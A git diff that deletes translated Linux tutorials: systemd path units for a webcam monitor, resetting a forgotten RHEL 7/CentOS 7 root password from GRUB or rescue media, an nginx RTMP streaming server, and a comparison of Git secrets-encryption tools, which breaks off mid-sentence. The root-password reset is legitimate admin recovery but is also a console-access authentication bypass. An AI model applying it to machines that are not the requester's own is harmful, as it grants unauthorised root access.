use to set the the mode (permissions) of the new directory. If you don't use `DirectoryMode=`, the default permissions for the new directory are `0755`. - -### Building _picchanged.path_ - -All these directives are very useful, but you will be just looking for changes made to one single file, so your _.path_ unit is very simple: - -``` -#picchanged.path -[Unit] -Wants= webcam.service - -[Path] -PathChanged= /home/[user name]/monitor/monitor.jpg -``` - -In the `Unit=` section the line that says - -``` -Wants= webcam.service -``` - -The `Wants=` directive is the preferred way of starting up a unit the current unit needs to work properly. [`webcam.service` is the name you gave the surveillance service that you saw in the previous article][3] and is the service that actually controls the webcam and makes it take a snap every half second. This means it’s _picchanged.path_ that is going to start up _webcam.service_ now, and not the [Udev rule you saw in the prior article][3]. You will use the Udev rule to start _picchanged.path_ instead. - -To summarize: the Udev rule pulls in your new _picchanged.path_ unit, which, in turn pulls in the _webcam.service_ as a requirement for everything to work perfectly. - -The "thing" that _picchanged.path_ monitors is the _monitor.jpg_ file in the _monitor/_ directory in your home directory. As you saw last time, _webcam.service_ called a script, _checkimage.sh_ , took a picture at the beginning of its execution and stored it in _monitor/temp.jpg_. _checkimage.sh_ then took another pic, _temp.jpg_ , and compared it with _monitor.jpg_. If it found significant differences (like when somebody walks into frame) the script overwrote _monitor.jpg_ with the _temp.jpg_. That is when _picchanged.path_ fires. - -As you haven't included a `Unit=` directive in your _.path_ , the unit systemd expects a matching _picchanged.service_ unit which it will trigger when _/home/[ _user name_ ]/monitor/monitor.jpg_ gets modified: - -``` -#picchanged.service -[Service] -Type= simple -ExecStart= /home/[user name]/bin/picmonitor.sh -``` - -For the time being, let’s make _picmonitor.sh_ save a time-stamped copy of _monitor.jpg_ every time changes get detected: - -``` -#!/bin/bash -# This is the pcmonitor.sh script - -cp /home/[user name]/monitor/monitor.jpg /home/[user name]/monitor/"`date`.jpg" -``` - -### Udev Changes - -You have to change the custom Udev rule you wrote in [the previous installment][3] so everything works. Edit _/etc/udev/rules.d/01-webcam.rules_ so instead of looking like this: - -``` -ACTION=="add", SUBSYSTEM=="video4linux", ATTRS{idVendor}=="03f0", -  ATTRS{idProduct}=="e207", SYMLINK+="mywebcam", TAG+="systemd", -  MODE="0666", ENV{SYSTEMD_WANTS}="webcam.service" -``` - -It looks like this: - -``` -ACTION=="add", SUBSYSTEM=="video4linux", ATTRS{idVendor}=="03f0", -  ATTRS{idProduct}=="e207", SYMLINK+="mywebcam", TAG+="systemd", -  MODE="0666", ENV{SYSTEMD_WANTS}="picchanged.path" -``` - -The new rule, instead of calling _webcam.service_ , now calls _picchanged.path_ when your webcam gets detected. (Note that you will have to change the `idVendor` and `IdProduct` to those of your own webcam -- you saw how to find these out previously). - -For the record, I also changed _checkimage.sh_ from using PNG to JPEG images. I did this because I found some dependency problems with PNG images when working with _mplayer_ on some versions of Debian. _checkimage.sh_ now looks like this: - -``` -#!/bin/bash - -mplayer -vo jpeg -frames 1 tv:// -tv driver=v4l2:width=640:height=480:device= -  /dev/mywebcam &>/dev/null -mv 00000001.jpg /home/paul/monitor/monitor.jpg - -while true -do - mplayer -vo jpeg -frames 1 tv:// -tv driver=v4l2:width=640:height=480:device= -  /dev/mywebcam &>/dev/null - mv 00000001.jpg /home/paul/monitor/temp.jpg - - imagediff=`compare -metric mae /home/paul/monitor/monitor.jpg -  /home/paul/monitor/temp.jpg /home/paul/monitor/diff.png 2>&1 > -  /dev/null | cut -f 1 -d " "` - - if [ `echo "$imagediff > 700.0" | bc` -eq 1 ] - then - mv /home/paul/monitor/temp.jpg /home/paul/monitor/monitor.jpg - fi - - sleep 0.5 -done -``` - -### Firing up - -This is a multi-unit service that, when all its bits and pieces are in place, you don't have to worry much about: you plug in the designated webcam (or boot the machine with the webcam already connected), _picchanged.path_ gets started thanks to the Udev rule and takes over, bringing up the _webcam.service_ and starting to check on the snaps. There is nothing else you need to do. - -### Conclusion - -Having the process split into two doesn't only help explain how path units work, but it’s also very useful for debugging. One service does not "touch" the other in any way, which means that you could, for example, improve the "motion detection" part, and it would be very easy to roll back if things didn't work as expected. - -Admittedly, the example is a bit goofy, as there are definitely [better ways of monitoring movement using a webcam][5]. But remember: the main aim of these articles is to help you learn how systemd units work within a context. - -Next time, we'll finish up with systemd units by looking at some of the other types of units available and show how to improve your home-monitoring system further by setting up service that sends images to another machine. - -Learn more about Linux through the free ["Introduction to Linux" ][6]course from The Linux Foundation and edX. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/blog/learn/intro-to-linux/2018/6/systemd-services-monitoring-files-and-directories - -作者:[Paul Brown][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/users/bro66 -[b]: https://github.com/lujun9972 -[1]: https://www.linux.com/blog/learn/intro-to-linux/2018/5/writing-systemd-services-fun-and-profit -[2]: https://www.linux.com/blog/learn/2018/5/systemd-services-beyond-starting-and-stopping -[3]: https://www.linux.com/blog/intro-to-linux/2018/6/systemd-services-reacting-change -[4]: https://www.linux.com/blog/learn/intro-to-linux/2018/6/systemd-services-monitoring-files-and-directories -[5]: https://www.linux.com/learn/how-operate-linux-spycams-motion -[6]: https://training.linuxfoundation.org/linux-courses/system-administration-training/introduction-to-linux diff --git a/sources/tech/20190104 Three Ways To Reset And Change Forgotten Root Password on RHEL 7-CentOS 7 Systems.md b/sources/tech/20190104 Three Ways To Reset And Change Forgotten Root Password on RHEL 7-CentOS 7 Systems.md deleted file mode 100644 index 6619cfe65a..0000000000 --- a/sources/tech/20190104 Three Ways To Reset And Change Forgotten Root Password on RHEL 7-CentOS 7 Systems.md +++ /dev/null @@ -1,254 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Three Ways To Reset And Change Forgotten Root Password on RHEL 7/CentOS 7 Systems) -[#]: via: (https://www.2daygeek.com/linux-reset-change-forgotten-root-password-in-rhel-7-centos-7/) -[#]: author: (Prakash Subramanian https://www.2daygeek.com/author/prakash/) - -Three Ways To Reset And Change Forgotten Root Password on RHEL 7/CentOS 7 Systems -====== - -If you are forget to remember your root password for RHEL 7 and CentOS 7 systems and want to reset the forgotten root password? - -If so, don’t worry we are here to help you out on this. - -Navigate to the following link if you want to **[reset forgotten root password on RHEL 6/CentOS 6][1]**. - -This is generally happens when you use different password in vast environment or if you are not maintaining the proper inventory. - -Whatever it is. No issues, we will help you through this article. - -It can be done in many ways but we are going to show you the best three methods which we tried many times for our clients. - -In Linux servers there are three different users are available. These are, Normal User, System User and Super User. - -As everyone knows the Root user is known as super user in Linux and Administrator is in Windows. - -We can’t perform any major activity without root password so, make sure you should have the right root password when you perform any major tasks. - -If you don’t know or don’t have it, try to reset using one of the below method. - - * Reset Forgotten Root Password By Booting into Single User Mode using `rd.break` - * Reset Forgotten Root Password By Booting into Single User Mode using `init=/bin/bash` - * Reset Forgotten Root Password By Booting into Rescue Mode - - - -### Method-1: Reset Forgotten Root Password By Booting into Single User Mode - -Just follow the below procedure to reset the forgotten root password in RHEL 7/CentOS 7 systems. - -To do so, reboot your system and follow the instructions carefully. - -**`Step-1:`** Reboot your system and interrupt at the boot menu by hitting **`e`** key to modify the kernel arguments. -![][3] - -**`Step-2:`** In the GRUB options, find `linux16` word and add the `rd.break` word in the end of the file then press `Ctrl+x` or `F10` to boot into single user mode. -![][4] - -**`Step-3:`** At this point of time, your root filesystem will be mounted in Read only (RO) mode to /sysroot. Run the below command to confirm this. - -``` -# mount | grep root -``` - -![][5] - -**`Step-4:`** Based on the above output, i can say that i’m in single user mode and my root file system is mounted in read only mode. - -It won’t allow you to make any changes on your system until you mount the root filesystem with Read and write (RW) mode to /sysroot. To do so, use the following command. - -``` -# mount -o remount,rw /sysroot -``` - -![][6] - -**`Step-5:`** Currently your file systems are mounted as a temporary partition. Now, your command prompt shows **switch_root:/#**. - -Run the following command to get into a chroot jail so that /sysroot is used as the root of the file system. - -``` -# chroot /sysroot -``` - -![][7] - -**`Step-6:`** Now you can able to reset the root password with help of `passwd` command. - -``` -# echo "CentOS7$#123" | passwd --stdin root -``` - -![][8] - -**`Step-7:`** By default CentOS 7/RHEL 7 use SELinux in enforcing mode, so create a following hidden file which will automatically perform a relabel of all files on next boot. - -It allow us to fix the context of the **/etc/shadow** file. - -``` -# touch /.autorelabel -``` - -![][9] - -**`Step-8:`** Issue `exit` twice to exit from the chroot jail environment and reboot the system. -![][10] - -**`Step-9:`** Now you can login to your system with your new password. -![][11] - -### Method-2: Reset Forgotten Root Password By Booting into Single User Mode - -Alternatively we can use the below procedure to reset the forgotten root password in RHEL 7/CentOS 7 systems. - -**`Step-1:`** Reboot your system and interrupt at the boot menu by hitting **`e`** key to modify the kernel arguments. -![][3] - -**`Step-2:`** In the GRUB options, find `rhgb quiet` word and replace with the `init=/bin/bash` or `init=/bin/sh` word then press `Ctrl+x` or `F10` to boot into single user mode. - -Screenshot for **`init=/bin/bash`**. -![][12] - -Screenshot for **`init=/bin/sh`**. -![][13] - -**`Step-3:`** At this point of time, your root system will be mounted in Read only mode to /. Run the below command to confirm this. - -``` -# mount | grep root -``` - -![][14] - -**`Step-4:`** Based on the above ouput, i can say that i’m in single user mode and my root file system is mounted in read only (RO) mode. - -It won’t allow you to make any changes on your system until you mount the root file system with Read and write (RW) mode. To do so, use the following command. - -``` -# mount -o remount,rw / -``` - -![][15] - -**`Step-5:`** Now you can able to reset the root password with help of `passwd` command. - -``` -# echo "RHEL7$#123" | passwd --stdin root -``` - -![][16] - -**`Step-6:`** By default CentOS 7/RHEL 7 use SELinux in enforcing mode, so create a following hidden file which will automatically perform a relabel of all files on next boot. - -It allow us to fix the context of the **/etc/shadow** file. - -``` -# touch /.autorelabel -``` - -![][17] - -**`Step-7:`** Finally `Reboot` the system. - -``` -# exec /sbin/init 6 -``` - -![][18] - -**`Step-9:`** Now you can login to your system with your new password. -![][11] - -### Method-3: Reset Forgotten Root Password By Booting into Rescue Mode - -Alternatively, we can reset the forgotten Root password for RHEL 7 and CentOS 7 systems using Rescue mode. - -**`Step-1:`** Insert the bootable media through USB or DVD drive which is compatible for you and reboot your system. It will take to you to the below screen. - -Hit `Troubleshooting` to launch the `Rescue` mode. -![][19] - -**`Step-2:`** Choose `Rescue a CentOS system` and hit `Enter` button. -![][20] - -**`Step-3:`** Here choose `1` and the rescue environment will now attempt to find your Linux installation and mount it under the directory `/mnt/sysimage`. -![][21] - -**`Step-4:`** Simple hit `Enter` to get a shell. -![][22] - -**`Step-5:`** Run the following command to get into a chroot jail so that /mnt/sysimage is used as the root of the file system. - -``` -# chroot /mnt/sysimage -``` - -![][23] - -**`Step-6:`** Now you can able to reset the root password with help of **passwd** command. - -``` -# echo "RHEL7$#123" | passwd --stdin root -``` - -![][24] - -**`Step-7:`** By default CentOS 7/RHEL 7 use SELinux in enforcing mode, so create a following hidden file which will automatically perform a relabel of all files on next boot. -It allow us to fix the context of the /etc/shadow file. - -``` -# touch /.autorelabel -``` - -![][25] - -**`Step-8:`** Remove the bootable media then initiate the reboot. - -**`Step-9:`** Issue `exit` twice to exit from the chroot jail environment and reboot the system. -![][26] - -**`Step-10:`** Now you can login to your system with your new password. -![][11] - --------------------------------------------------------------------------------- - -via: https://www.2daygeek.com/linux-reset-change-forgotten-root-password-in-rhel-7-centos-7/ - -作者:[Prakash Subramanian][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.2daygeek.com/author/prakash/ -[b]: https://github.com/lujun9972 -[1]: https://www.2daygeek.com/linux-reset-change-forgotten-root-password-in-rhel-6-centos-6/ -[2]: data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7 -[3]: https://www.2daygeek.com/wp-content/uploads/2018/12/reset-forgotten-root-password-on-rhel-7-centos-7-2.png -[4]: https://www.2daygeek.com/wp-content/uploads/2018/12/reset-forgotten-root-password-on-rhel-7-centos-7-3.png -[5]: https://www.2daygeek.com/wp-content/uploads/2018/12/reset-forgotten-root-password-on-rhel-7-centos-7-5.png -[6]: https://www.2daygeek.com/wp-content/uploads/2018/12/reset-forgotten-root-password-on-rhel-7-centos-7-6.png -[7]: https://www.2daygeek.com/wp-content/uploads/2018/12/reset-forgotten-root-password-on-rhel-7-centos-7-8.png -[8]: https://www.2daygeek.com/wp-content/uploads/2018/12/reset-forgotten-root-password-on-rhel-7-centos-7-10.png -[9]: https://www.2daygeek.com/wp-content/uploads/2018/12/reset-forgotten-root-password-on-rhel-7-centos-7-10a.png -[10]: https://www.2daygeek.com/wp-content/uploads/2018/12/reset-forgotten-root-password-on-rhel-7-centos-7-11.png -[11]: https://www.2daygeek.com/wp-content/uploads/2018/12/reset-forgotten-root-password-on-rhel-7-centos-7-12.png -[12]: https://www.2daygeek.com/wp-content/uploads/2018/12/method-reset-forgotten-root-password-on-rhel-7-centos-7-1.png -[13]: https://www.2daygeek.com/wp-content/uploads/2018/12/method-reset-forgotten-root-password-on-rhel-7-centos-7-1a.png -[14]: https://www.2daygeek.com/wp-content/uploads/2018/12/method-reset-forgotten-root-password-on-rhel-7-centos-7-3.png -[15]: https://www.2daygeek.com/wp-content/uploads/2018/12/method-reset-forgotten-root-password-on-rhel-7-centos-7-4.png -[16]: https://www.2daygeek.com/wp-content/uploads/2018/12/method-reset-forgotten-root-password-on-rhel-7-centos-7-5.png -[17]: https://www.2daygeek.com/wp-content/uploads/2018/12/method-reset-forgotten-root-password-on-rhel-7-centos-7-6.png -[18]: https://www.2daygeek.com/wp-content/uploads/2018/12/method-reset-forgotten-root-password-on-rhel-7-centos-7-7.png -[19]: https://www.2daygeek.com/wp-content/uploads/2018/12/rescue-reset-forgotten-root-password-on-rhel-7-centos-7-1.png -[20]: https://www.2daygeek.com/wp-content/uploads/2018/12/rescue-reset-forgotten-root-password-on-rhel-7-centos-7-2.png -[21]: https://www.2daygeek.com/wp-content/uploads/2018/12/rescue-reset-forgotten-root-password-on-rhel-7-centos-7-3.png -[22]: https://www.2daygeek.com/wp-content/uploads/2018/12/rescue-reset-forgotten-root-password-on-rhel-7-centos-7-4.png -[23]: https://www.2daygeek.com/wp-content/uploads/2018/12/rescue-reset-forgotten-root-password-on-rhel-7-centos-7-5.png -[24]: https://www.2daygeek.com/wp-content/uploads/2018/12/rescue-reset-forgotten-root-password-on-rhel-7-centos-7-6.png -[25]: https://www.2daygeek.com/wp-content/uploads/2018/12/rescue-reset-forgotten-root-password-on-rhel-7-centos-7-7.png -[26]: https://www.2daygeek.com/wp-content/uploads/2018/12/rescue-reset-forgotten-root-password-on-rhel-7-centos-7-8.png diff --git a/sources/tech/20190108 Create your own video streaming server with Linux.md b/sources/tech/20190108 Create your own video streaming server with Linux.md deleted file mode 100644 index 24dd44524d..0000000000 --- a/sources/tech/20190108 Create your own video streaming server with Linux.md +++ /dev/null @@ -1,301 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create your own video streaming server with Linux) -[#]: via: (https://opensource.com/article/19/1/basic-live-video-streaming-server) -[#]: author: (Aaron J.Prisk https://opensource.com/users/ricepriskytreat) - -Create your own video streaming server with Linux -====== -Set up a basic live streaming server on a Linux or BSD operating system. -![](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/shortcut_command_function_editing_key.png?itok=a0sEc5vo) - -Live video streaming is incredibly popular—and it's still growing. Platforms like Amazon's Twitch and Google's YouTube boast millions of users that stream and consume countless hours of live and recorded media. These services are often free to use but require you to have an account and generally hold your content behind advertisements. Some people don't need their videos to be available to the masses or just want more control over their content. Thankfully, with the power of open source software, anyone can set up a live streaming server. - -### Getting started - -In this tutorial, I'll explain how to set up a basic live streaming server with a Linux or BSD operating system. - -This leads to the inevitable question of system requirements. These can vary, as there are a lot of variables involved with live streaming, such as: - - * **Stream quality:** Do you want to stream in high definition or will standard definition fit your needs? - * **Viewership:** How many viewers are you expecting for your videos? - * **Storage:** Do you plan on keeping saved copies of your video stream? - * **Access:** Will your stream be private or open to the world? - - - -There are no set rules when it comes to system requirements, so I recommend you experiment and find what works best for your needs. I installed my server on a virtual machine with 4GB RAM, a 20GB hard drive, and a single Intel i7 processor core. - -This project uses the Real-Time Messaging Protocol (RTMP) to handle audio and video streaming. There are other protocols available, but I chose RTMP because it has broad support. As open standards like WebRTC become more compatible, I would recommend that route. - -It's also very important to know that "live" doesn't always mean instant. A video stream must be encoded, transferred, buffered, and displayed, which often adds delays. The delay can be shortened or lengthened depending on the type of stream you're creating and its attributes. - -### Setting up a Linux server - -You can use many different distributions of Linux, but I prefer Ubuntu, so I downloaded the [Ubuntu Server][1] edition for my operating system. If you prefer your server to have a graphical user interface (GUI), feel free to use [Ubuntu Desktop][2] or one of its many flavors. Then, I fired up the Ubuntu installer on my computer or virtual machine and chose the settings that best matched my environment. Below are the steps I took. - -Note: Because this is a server, you'll probably want to set some static network settings. - -![](https://opensource.com/sites/default/files/uploads/stream-server_profilesetup.png) - -After the installer finishes and your system reboots, you'll be greeted with a lovely new Ubuntu system. As with any newly installed operating system, install any updates that are available: - -``` -sudo apt update -sudo apt upgrade -``` - -This streaming server will use the very powerful and versatile Nginx web server, so you'll need to install it: - -``` -sudo apt install nginx -``` - -Then you'll need to get the RTMP module so Nginx can handle your media stream: - -``` -sudo add-apt-repository universe -sudo apt install libnginx-mod-rtmp -``` - -Adjust your web server's configuration so it can accept and deliver your media stream. - -``` -sudo nano /etc/nginx/nginx.conf -``` - -Scroll to the bottom of the configuration file and add the following code: - -``` -rtmp { -        server { -                listen 1935; -                chunk_size 4096; - -                application live { -                        live on; -                        record off; -                } -        } -} -``` - -![](https://opensource.com/sites/default/files/uploads/stream-server_config.png) - -Save the config. Because I'm a heretic, I use [Nano][3] for editing configuration files. In Nano, you can save your config by pressing **Ctrl+X** , **Y** , and then **Enter.** - -This is a very minimal config that will create a working streaming server. You'll add to this config later, but this is a great starting point. - -However, before you can begin your first stream, you'll need to restart Nginx with its new configuration: - -``` -sudo systemctl restart nginx -``` - -### Setting up a BSD server - -If you're of the "beastie" persuasion, getting a streaming server up and running is also devilishly easy. - -Head on over to the [FreeBSD][4] website and download the latest release. Fire up the FreeBSD installer on your computer or virtual machine and go through the initial steps and choose settings that best match your environment. Since this is a server, you'll likely want to set some static network settings. - -After the installer finishes and your system reboots, you should have a shiny new FreeBSD system. Like any other freshly installed system, you'll likely want to get everything updated (from this step forward, make sure you're logged in as root): - -``` -pkg update -pkg upgrade -``` - -I install [Nano][3] for editing configuration files: - -``` -pkg install nano -``` - -This streaming server will use the very powerful and versatile Nginx web server. You can build Nginx using the excellent ports system that FreeBSD boasts. - -First, update your ports tree: - -``` -portsnap fetch -portsnap extract -``` - -Browse to the Nginx ports directory: - -``` -cd /usr/ports/www/nginx -``` - -And begin building Nginx by running: - -``` -make install -``` - -You'll see a screen asking what modules to include in your Nginx build. For this project, you'll need to add the RTMP module. Scroll down until the RTMP module is selected and press **Space**. Then Press **Enter** to proceed with the rest of the build and installation. - -Once Nginx has finished installing, it's time to configure it for streaming purposes. - -First, add an entry into **/etc/rc.conf** to ensure the Nginx server starts when your system boots: - -``` -nano /etc/rc.conf -``` - -Add this text to the file: - -``` -nginx_enable="YES" -``` - -![](https://opensource.com/sites/default/files/uploads/stream-server_streamingconfig.png) - -Next, create a webroot directory from where Nginx will serve its content. I call mine **stream** : - -``` -cd /usr/local/www/ -mkdir stream -chmod -R 755 stream/ -``` - -Now that you have created your stream directory, configure Nginx by editing its configuration file: - -``` -nano /usr/local/etc/nginx/nginx.conf -``` - -Load your streaming modules at the top of the file: - -``` -load_module /usr/local/libexec/nginx/ngx_stream_module.so; -load_module /usr/local/libexec/nginx/ngx_rtmp_module.so; -``` - -![](https://opensource.com/sites/default/files/uploads/stream-server_modules.png) - -Under the **Server** section, change the webroot location to match the one you created earlier: - -``` -Location / { -root /usr/local/www/stream -} -``` - -![](https://opensource.com/sites/default/files/uploads/stream-server_webroot.png) - -And finally, add your RTMP settings so Nginx will know how to handle your media streams: - -``` -rtmp { -        server { -                listen 1935; -                chunk_size 4096; - -                application live { -                        live on; -                        record off; -                } -        } -} -``` - -Save the config. In Nano, you can do this by pressing **Ctrl+X** , **Y** , and then **Enter.** - -As you can see, this is a very minimal config that will create a working streaming server. Later, you'll add to this config, but this will provide you with a great starting point. - -However, before you can begin your first stream, you'll need to restart Nginx with its new config: - -``` -service nginx restart -``` - -### Set up your streaming software - -#### Broadcasting with OBS - -Now that your server is ready to accept your video streams, it's time to set up your streaming software. This tutorial uses the powerful and open source Open Broadcast Studio (OBS). - -Head over to the [OBS website][5] and find the build for your operating system and install it. Once OBS launches, you should see a first-time-run wizard that will help you configure OBS with the settings that best fit your hardware. - -![](https://opensource.com/sites/default/files/uploads/stream-server_autoconfig.png) - -OBS isn't capturing anything because you haven't supplied it with a source. For this tutorial, you'll just capture your desktop for the stream. Simply click the **+** button under **Source** , choose **Screen Capture** , and select which desktop you want to capture. - -Click OK, and you should see OBS mirroring your desktop. - -Now it's time to send your newly configured video stream to your server. In OBS, click **File** > **Settings**. Click on the **Stream** section, and set **Stream Type** to **Custom Streaming Server**. - -In the URL box, enter the prefix **rtmp://** followed the IP address of your streaming server followed by **/live**. For example, **rtmp://IP-ADDRESS/live**. - -Next, you'll probably want to enter a Stream key—a special identifier required to view your stream. Enter whatever key you want (and can remember) in the **Stream key** box. - -![](https://opensource.com/sites/default/files/uploads/stream-server_streamkey.png) - -Click **Apply** and then **OK**. - -Now that OBS is configured to send your stream to your server, you can start your first stream. Click **Start Streaming**. - -If everything worked, you should see the button change to **Stop Streaming** and some bandwidth metrics will appear at the bottom of OBS. - -![](https://opensource.com/sites/default/files/uploads/stream-server_metrics.png) - -If you receive an error, double-check Stream Settings in OBS for misspellings. If everything looks good, there could be another issue preventing it from working. - -### Viewing your stream - -A live video isn't much good if no one is watching it, so be your first viewer! - -There are a multitude of open source media players that support RTMP, but the most well-known is probably [VLC media player][6]. - -After you install and launch VLC, open your stream by clicking on **Media** > **Open Network Stream**. Enter the path to your stream, adding the Stream Key you set up in OBS, then click **Play**. For example, **rtmp://IP-ADDRESS/live/SECRET-KEY**. - -You should now be viewing your very own live video stream! - -![](https://opensource.com/sites/default/files/uploads/stream-server_livevideo.png) - -### Where to go next? - -This is a very simple setup that will get you off the ground. Here are two other features you likely will want to use. - - * **Limit access:** The next step you might want to take is to limit access to your server, as the default setup allows anyone to stream to and from the server. There are a variety of ways to set this up, such as an operating system firewall, [.htaccess file][7], or even using the [built-in access controls in the STMP module][8]. - - * **Record streams:** This simple Nginx configuration will only stream and won't save your videos, but this is easy to add. In the Nginx config, under the RTMP section, set up the recording options and the location where you want to save your videos. Make sure the path you set exists and Nginx is able to write to it. - - - - -``` -application live { -             live on; -             record all; -             record_path /var/www/html/recordings; -             record_unique on; -} -``` - -The world of live streaming is constantly evolving, and if you're interested in more advanced uses, there are lots of other great resources you can find floating around the internet. Good luck and happy streaming! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/1/basic-live-video-streaming-server - -作者:[Aaron J.Prisk][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ricepriskytreat -[b]: https://github.com/lujun9972 -[1]: https://www.ubuntu.com/download/server -[2]: https://www.ubuntu.com/download/desktop -[3]: https://www.nano-editor.org/ -[4]: https://www.freebsd.org/ -[5]: https://obsproject.com/ -[6]: https://www.videolan.org/vlc/index.html -[7]: https://httpd.apache.org/docs/current/howto/htaccess.html -[8]: https://github.com/arut/nginx-rtmp-module/wiki/Directives#access diff --git a/sources/tech/20190219 4 secrets management tools for Git encryption.md b/sources/tech/20190219 4 secrets management tools for Git encryption.md deleted file mode 100644 index 303bc0ef87..0000000000 --- a/sources/tech/20190219 4 secrets management tools for Git encryption.md +++ /dev/null @@ -1,161 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (4 secrets management tools for Git encryption) -[#]: via: (https://opensource.com/article/19/2/secrets-management-tools-git) -[#]: author: (Austin Dewey https://opensource.com/users/adewey) - -4 secrets management tools for Git encryption -====== -See how Git-crypt, BlackBox, SOPS, and Transcrypt stack up for storing secrets in Git. -![](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003601_05_mech_osyearbook2016_security_cc.png?itok=3V07Lpko) - -There are a lot of great open source tools out there for storing secrets in Git. It can be hard to determine the right one for you and your organization—it depends on your use cases and requirements. To help you compare and choose, we'll look at four of the most popular open source tools for secrets management and see how they stack up against each other: - -+ [Git-crypt](https://github.com/AGWA/git-crypt) -+ [BlackBox](https://github.com/StackExchange/blackbox) -+ [SOPS](https://github.com/mozilla/sops) -+ [Transcrypt](https://github.com/elasticdog/transcrypt) - - -We won't review larger solutions like HashiCorp Vault. A production-ready Vault can be a rather large hurdle, especially if your organization is just getting started with secrets management. The tools above are easy to use and set up quickly. - -### Encryption types - -These secrets management tools use GNU Privacy Guard ([GPG][1]), symmetric key encryption, and/or cloud key services. - - * GPG-based tools require users to create a GPG keypair. The public key is used to encrypt and is shared with other users, while the private key is used to decrypt and is known by only one user. - * Symmetric key tools are password-based and work when given the correct password. - * Cloud key services—Amazon Key Management Service (KMS), Google Cloud KMS, and Azure Key Vault-based tools—allow integration with services from cloud providers. - - - -The encryption types these secrets management tools use are: -| | GPG | Symmetric key | Amazon KMS | Google KMS | Azure Key Vault | -| Git-crypt | X | X | | | | -| BlackBox | X | | | | | -| SOPS | X | | X | X | X | -| Transcrypt | | X | | | | - -As you can see, Git-crypt and SOPS use more than one encryption basis. This means Git-crypt can achieve encryption by using GPG OR a symmetric key, and SOPS can use GPG OR one of the cloud services. - -### Goals - -These tools have similar goals: - -| | Transparency with Git | Whole-file encryption | Partial-file encryption | -| Git-crypt | X | X | | -| BlackBox | X | X | | -| SOPS | | X | X | -| Transcrypt | X | X | | - -All but SOPS are transparent with Git, which means they have built-in mechanisms to ensure that files in source control are encrypted without much effort from users. They help prevent a **git push** from accidentally pushing plaintext secrets to Git. - -At this point, you might be wondering, "Why is SOPS here if it doesn't encrypt transparently with Git? Isn't this a post about Git encryption tools?" The reason is because of how it handles key-value-based files, such as YAML and JSON. When encrypting these types of files, SOPS will leave the keys unencrypted but will encrypt the values. There are often cases, especially in configuration management, where these types of files need to be encrypted in Git, but it would also be convenient to see what kind of information they contain. While SOPS does not provide native Git transparency, tools like [git-secrets][2] can be used alongside SOPS to help ensure plaintext secrets are not pushed to Git. - -Finally, all of these tools support whole-file encryption, in which secrets files are encrypted in their entirety. - -### Workflows and differences - -None of these tools are particularly difficult to use, but they all have quirks and operational challenges to consider. - -#### GPG - -The basic workflow for a GPG-based tool is: - - 1. Initialize the repository with the encryption tool - 2. Create GPG keys for users that are allowed to manage secret files - 3. Add the corresponding public keys to the tool - 4. Designate the files that should be treated as "secret" - 5. Encrypt the files using the tool - 6. Repeat steps 2, 3, and 5 for each new user that is granted permission - 7. To revoke a user, remove the user and repeat step 5 - - - -In theory, this workflow is simple. One operational issue is GPG key maintenance. Your team will need to back up its GPG keys to prevent a lock-out scenario if GPG keys are accidentally deleted. If you are using the tool for automation, you will also need to consider who will be responsible for creating and maintaining keys for that service. Additionally, if you need to add, remove, or rotate a key, you'll need to re-encrypt each file for the changes to take effect. - -Advantages and disadvantages of the GPG-based tools include: - - * Git-crypt cannot remove GPG users natively, which means step 7 above is not easy to do. There are workarounds available, but it's not a built-in feature. - * Git-crypt will transparently perform step 5 above on a **git push** —even when new users are added. - * BlackBox provides a **blackbox_update_all_files** command, which can perform step 5 by re-encrypting all secret files in one command. This comes in handy in key rotation and adding/removing GPG keys, where all files need to be re-encrypted. - * SOPS makes key rotation and adding/removing GPG keys the most difficult, as it requires each file to be manually re-encrypted. - * BlackBox has a **blackbox_list_admins** command that returns the email address that corresponds with registered users' GPG keys. This makes it easier to discern who has access to the secrets versus trying to map plain GPG fingerprints. - - - -#### Cloud key services - -Here is a sample workflow using SOPS with Amazon KMS: - - 1. Create identity and access management (IAM) entities - 2. Create KMS master key - 3. Grant IAM entities access to the master key - 4. Add the master key to each secret file with SOPS and encrypt the file (adding keys and encrypting is usually a one-step process with SOPS) - 5. Re-encrypt when adding or removing master keys - - - -Of these four tools, SOPS is the only one that allows users to configure encryption with a cloud-based key service. Cloud key services ease much of the operational burden that GPG-based solutions carry. Take Amazon KMS, for example: The master key is added to SOPS and access to secret files is controlled through IAM policies. Adding and removing users is as simple as granting or revoking permission with IAM, meaning secret files do not need to be re-encrypted when changing permissions, since nothing changed from SOPS's perspective. This solution does have its own set of operational challenges, however. Each member of the team must have an AWS account before they can access secret files. Also, admins must configure and maintain the IAM policies and KMS master key(s). - -#### Symmetric key encryption - -The workflow for symmetric key-based tools is probably the simplest: - - 1. Initialize the repository with the encryption tool - 2. Designate files that should be treated as "secret" - 3. **git push** to transparently encrypt the files - 4. Share the symmetric key with other users who need access - 5. Rotate the key each time a user is revoked access - - - -Git-crypt and Transcrypt both provide a complex password as the symmetric key. The operational challenges are to find a secure way to share the symmetric key and to be sure to rotate the key each time a user is removed. - -Here are a few differences between Git-crypt and Transcrypt, 